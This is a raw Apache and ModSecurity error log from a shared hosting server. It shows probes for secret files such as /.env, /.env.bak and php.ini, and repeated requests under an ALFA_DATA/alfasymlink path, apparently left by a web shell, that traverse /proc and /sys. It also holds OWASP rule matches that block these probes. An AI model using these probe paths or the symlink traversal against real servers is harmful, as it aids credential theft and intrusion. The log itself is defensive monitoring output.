[Tue Oct 27 12:36:29.591216 2026] [security2:error] [pid 3265871:tid 3265871] [client 107.172.76.131:60999] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDTAd8QsyVDX8XbxGUrVgAAAA4"], referer: https://bases1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:36:38.215939 2026] [core:error] [pid 3266317:tid 3266317] (13)Permission denied: [client 85.208.96.206:16426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/min_partial
[Tue Oct 27 12:36:42.506664 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 44.194.134.53:6396] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:37:02.531855 2026] [core:error] [pid 3265848:tid 3265848] (13)Permission denied: [client 98.82.39.241:34393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/0000:00:03.0/rescan
[Tue Oct 27 12:37:38.798899 2026] [ssl:error] [pid 3265799:tid 3265799] (70014)End of file found: [client 3.231.193.38:61591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:37:42.959941 2026] [core:error] [pid 3260247:tid 3260247] (13)Permission denied: [client 3.93.211.16:13924] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS2/iomem_reg_shift
[Tue Oct 27 12:38:02.867534 2026] [core:error] [pid 3265882:tid 3265882] (13)Permission denied: [client 52.204.81.148:7847] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS1/device/tty/ttyS3/iomem_base
[Tue Oct 27 12:38:10.720408 2026] [core:error] [pid 3265799:tid 3265799] (13)Permission denied: [client 185.191.171.1:52990] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/validate
[Tue Oct 27 12:38:18.967238 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 3.217.171.106:21915] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:38:23.312843 2026] [core:error] [pid 3266317:tid 3266317] (13)Permission denied: [client 3.226.34.98:34945] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:00/physical_node/driver/bind
[Tue Oct 27 12:38:35.150678 2026] [security2:error] [pid 3258910:tid 3258910] [client 107.172.76.131:61001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDTfxjRnDqVsOt0-EVH8AAAACg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:38:35.150754 2026] [security2:error] [pid 3258910:tid 3258910] [client 107.172.76.131:61001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDTfxjRnDqVsOt0-EVH8AAAACg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:38:51.285531 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 52.71.216.196:49099] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:38:59.483974 2026] [ssl:error] [pid 3265904:tid 3265904] (5)Input/output error: [client 50.19.102.70:44473] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:39:03.506519 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 3.219.80.71:51052] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:39:11.129291 2026] [core:crit] [pid 3258393:tid 3258393] (13)Permission denied: [client 45.135.193.198:43746] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:39:11.359385 2026] [authz_core:error] [pid 3265870:tid 3265870] [client 45.135.193.198:43760] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:39:11.463255 2026] [core:error] [pid 3262600:tid 3262600] (13)Permission denied: [client 98.82.214.73:29686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/driver/remove_id
[Tue Oct 27 12:39:15.126301 2026] [core:crit] [pid 3265904:tid 3265904] (13)Permission denied: [client 45.135.193.198:47478] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:39:15.301631 2026] [authz_core:error] [pid 3265868:tid 3265868] [client 45.135.193.198:47490] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:39:19.517427 2026] [ssl:error] [pid 3265870:tid 3265870] (70014)End of file found: [client 52.45.92.83:37852] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:39:27.872604 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 3.214.176.44:49303] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:39:35.719965 2026] [proxy_fcgi:error] [pid 3265904:tid 3265904] [client 3.225.45.252:35843] AH01071: Got error 'Primary script unknown'
[Tue Oct 27 12:39:39.861556 2026] [core:error] [pid 3265870:tid 3265870] (13)Permission denied: [client 44.205.180.155:27723] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/pvpanic/unbind
[Tue Oct 27 12:39:43.695542 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 54.159.18.27:4382] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:39:47.735495 2026] [security2:error] [pid 3265870:tid 3265870] [client 3.225.9.97:60278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:06/"] [unique_id "auDT0xPIAz20_HBUJWdXpwAAAAw"]
[Tue Oct 27 12:39:47.735529 2026] [security2:error] [pid 3265870:tid 3265870] [client 3.225.9.97:60278] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:15/subsystem/devices/device:0a/subsystem/devices/device:06/"] [unique_id "auDT0xPIAz20_HBUJWdXpwAAAAw"]
[Tue Oct 27 12:40:07.748395 2026] [ssl:error] [pid 3265882:tid 3265882] (70014)End of file found: [client 54.147.182.90:49405] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:40:11.812066 2026] [ssl:error] [pid 3261792:tid 3261792] (70014)End of file found: [client 44.208.223.68:60607] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:40:19.878181 2026] [ssl:error] [pid 3260247:tid 3260247] (70014)End of file found: [client 52.203.68.145:46436] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:40:31.857439 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 54.235.125.129:7891] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:40:43.812973 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 52.200.54.136:39715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:40:51.282324 2026] [core:error] [pid 3261709:tid 3261709] (13)Permission denied: [client 185.191.171.2:21340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/reclaim_account
[Tue Oct 27 12:41:03.775895 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 44.223.232.55:44751] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:41:07.881733 2026] [ssl:error] [pid 3261709:tid 3261709] (70014)End of file found: [client 3.224.104.67:45893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:41:32.158584 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 52.4.238.8:58656] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:41:39.638830 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 18.233.24.238:35806] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:41:44.398391 2026] [core:error] [pid 3261709:tid 3261709] (13)Permission denied: [client 185.191.171.11:45284] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/39/net/rpc/auth.unix.ip/flush
[Tue Oct 27 12:42:15.793560 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 50.16.248.61:35181] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:42:19.900213 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 54.157.99.244:13242] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:42:31.975284 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 34.196.114.170:17788] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:42:35.960619 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 54.198.33.233:22896] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:42:38.445218 2026] [security2:error] [pid 3265801:tid 3265801] [client 43.161.233.190:53054] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auDUfp-8GwYP4-sNlpcXugAAAAk"]
[Tue Oct 27 12:42:38.446647 2026] [authz_core:error] [pid 3265801:tid 3265801] [client 43.161.233.190:53054] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:42:48.180831 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 54.80.185.200:29746] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:43:04.199056 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 3.221.156.96:48044] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:43:18.974383 2026] [security2:error] [pid 3258910:tid 3258910] [client 107.172.76.131:61001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDUmhjRnDqVsOt0-EVIBAAAACg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:43:18.974455 2026] [security2:error] [pid 3258910:tid 3258910] [client 107.172.76.131:61001] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auDUmhjRnDqVsOt0-EVIBAAAACg"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Tue Oct 27 12:43:19.819476 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 34.226.89.140:52877] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:43:36.638669 2026] [ssl:error] [pid 3265868:tid 3265868] (70014)End of file found: [client 34.227.156.153:32077] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:43:39.869157 2026] [security2:error] [pid 3265848:tid 3265848] [client 34.231.156.59:48922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/"] [unique_id "auDUu3Y6vyPKS8DbHnPNUAAAAB8"]
[Tue Oct 27 12:43:39.869202 2026] [security2:error] [pid 3265848:tid 3265848] [client 34.231.156.59:48922] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.3/"] [unique_id "auDUu3Y6vyPKS8DbHnPNUAAAAB8"]
[Tue Oct 27 12:43:43.699063 2026] [ssl:error] [pid 3262600:tid 3262600] (70014)End of file found: [client 35.171.117.160:60212] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:43:51.807319 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 54.225.181.161:30719] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:43:59.105751 2026] [core:crit] [pid 3265801:tid 3265801] (13)Permission denied: [client 31.184.195.244:60023] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:44:04.260787 2026] [core:error] [pid 3260247:tid 3260247] (13)Permission denied: [client 18.209.137.234:58508] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1c/subsystem/devices/PNP0A03:00/device:1a/eject
[Tue Oct 27 12:44:19.897600 2026] [core:crit] [pid 3258910:tid 3258910] (13)Permission denied: [client 176.32.193.16:41228] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:44:19.902952 2026] [authz_core:error] [pid 3258393:tid 3258393] [client 176.32.193.16:48212] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 12:44:20.484086 2026] [core:crit] [pid 3265799:tid 3265799] (13)Permission denied: [client 176.32.193.16:41254] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:44:32.495007 2026] [core:error] [pid 3265921:tid 3265921] (13)Permission denied: [client 3.215.221.125:13738] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/wakeup/wakeup8/device/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/hpet/bind
[Tue Oct 27 12:44:41.183014 2026] [core:crit] [pid 3258393:tid 3258393] (13)Permission denied: [client 176.32.193.16:42816] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:44:41.976508 2026] [core:crit] [pid 3265921:tid 3265921] (13)Permission denied: [client 176.32.193.16:42824] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 12:45:03.932736 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 44.223.232.55:50374] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:45:23.719665 2026] [ssl:error] [pid 3258393:tid 3258393] (5)Input/output error: [client 3.218.35.239:52704] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:45:31.817227 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 34.234.197.175:6776] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:45:43.883757 2026] [ssl:error] [pid 3265877:tid 3265877] (70014)End of file found: [client 54.166.126.132:36159] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:45:51.772480 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 34.225.24.180:20569] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:07.830935 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 52.203.237.170:20951] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:12.160559 2026] [ssl:error] [pid 3265848:tid 3265848] (70014)End of file found: [client 44.205.74.196:17711] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:15.950983 2026] [ssl:error] [pid 3265799:tid 3265799] (70014)End of file found: [client 23.23.137.202:45700] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:19.857432 2026] [ssl:error] [pid 3265872:tid 3265872] (70014)End of file found: [client 52.73.6.26:4669] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:27.927554 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 52.6.232.201:5533] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:31.954422 2026] [ssl:error] [pid 3267627:tid 3267627] (70014)End of file found: [client 44.221.105.234:5189] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:35.979219 2026] [ssl:error] [pid 3265868:tid 3265868] (70014)End of file found: [client 52.204.253.129:1254] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:39.751052 2026] [core:error] [pid 3265868:tid 3265868] (13)Permission denied: [client 54.225.148.123:2381] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/firmware_node/device:07/eject
[Tue Oct 27 12:46:44.080183 2026] [core:error] [pid 3265871:tid 3265871] (13)Permission denied: [client 85.208.96.212:18374] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/slab_size
[Tue Oct 27 12:46:48.340780 2026] [ssl:error] [pid 3266317:tid 3266317] (70014)End of file found: [client 34.195.60.66:64937] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:52.877828 2026] [ssl:error] [pid 3265801:tid 3265801] (70014)End of file found: [client 52.71.46.142:54423] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 12:46:55.856474 2026] [security2:error] [pid 3262600:tid 3262600] [client 100.29.160.53:46742] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/driver/"] [unique_id "auDVf7j3-TesapEMgz76EgAAAAY"]
[Tue Oct 27 12:46:55.856512 2026] [security2:error] [pid 3262600:tid 3262600] [client 100.29.160.53:46742] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/driver/"] [unique_id "auDVf7j3-TesapEMgz76EgAAAAY"]
[Tue Oct 27 12:46:55.886956 2026] [security2:error] [pid 3265871:tid 3265871] [client 94.26.106.175:51412] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auDVf98QsyVDX8XbxGUrgwAAAA4"]
[Tue Oct 27 12:46:55.887240 2026] [security2:error] [pid 3265871:tid 3265871] [client 94.26.106.175:51412] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "auDVf98QsyVDX8XbxGUrgwAAAA4"]
[Tue Oct 27 12:46:55.888329 2026] [security2:error] [pid 3265871:tid 3265871] [client 94.26.106.175:51412] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVf98QsyVDX8XbxGUrgwAAAA4"]
[Tue Oct 27 12:46:56.345040 2026] [security2:error] [pid 3265801:tid 3265801] [client 94.26.106.175:62273] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "auDVgJ-8GwYP4-sNlpcXxAAAAAk"]
[Tue Oct 27 12:46:56.345351 2026] [security2:error] [pid 3265801:tid 3265801] [client 94.26.106.175:62273] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.local"] [unique_id "auDVgJ-8GwYP4-sNlpcXxAAAAAk"]
[Tue Oct 27 12:46:56.346140 2026] [security2:error] [pid 3265801:tid 3265801] [client 94.26.106.175:62273] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVgJ-8GwYP4-sNlpcXxAAAAAk"]
[Tue Oct 27 12:46:56.583583 2026] [security2:error] [pid 3266317:tid 3266317] [client 94.26.106.175:63149] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.backup"] [unique_id "auDVgFpe8OyRxW4q_kxm-gAAAAM"]
[Tue Oct 27 12:46:56.583915 2026] [security2:error] [pid 3266317:tid 3266317] [client 94.26.106.175:63149] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.backup"] [unique_id "auDVgFpe8OyRxW4q_kxm-gAAAAM"]
[Tue Oct 27 12:46:56.584972 2026] [security2:error] [pid 3266317:tid 3266317] [client 94.26.106.175:63149] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVgFpe8OyRxW4q_kxm-gAAAAM"]
[Tue Oct 27 12:46:57.061388 2026] [security2:error] [pid 3267627:tid 3267627] [client 94.26.106.175:64599] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env.bak"] [unique_id "auDVgYoZ0bkX2CoJtJYTTAAAAAU"]
[Tue Oct 27 12:46:57.061696 2026] [security2:error] [pid 3267627:tid 3267627] [client 94.26.106.175:64599] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env.bak"] [unique_id "auDVgYoZ0bkX2CoJtJYTTAAAAAU"]
[Tue Oct 27 12:46:57.062539 2026] [security2:error] [pid 3267627:tid 3267627] [client 94.26.106.175:64599] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDVgYoZ0bkX2CoJtJYTTAAAAAU"]
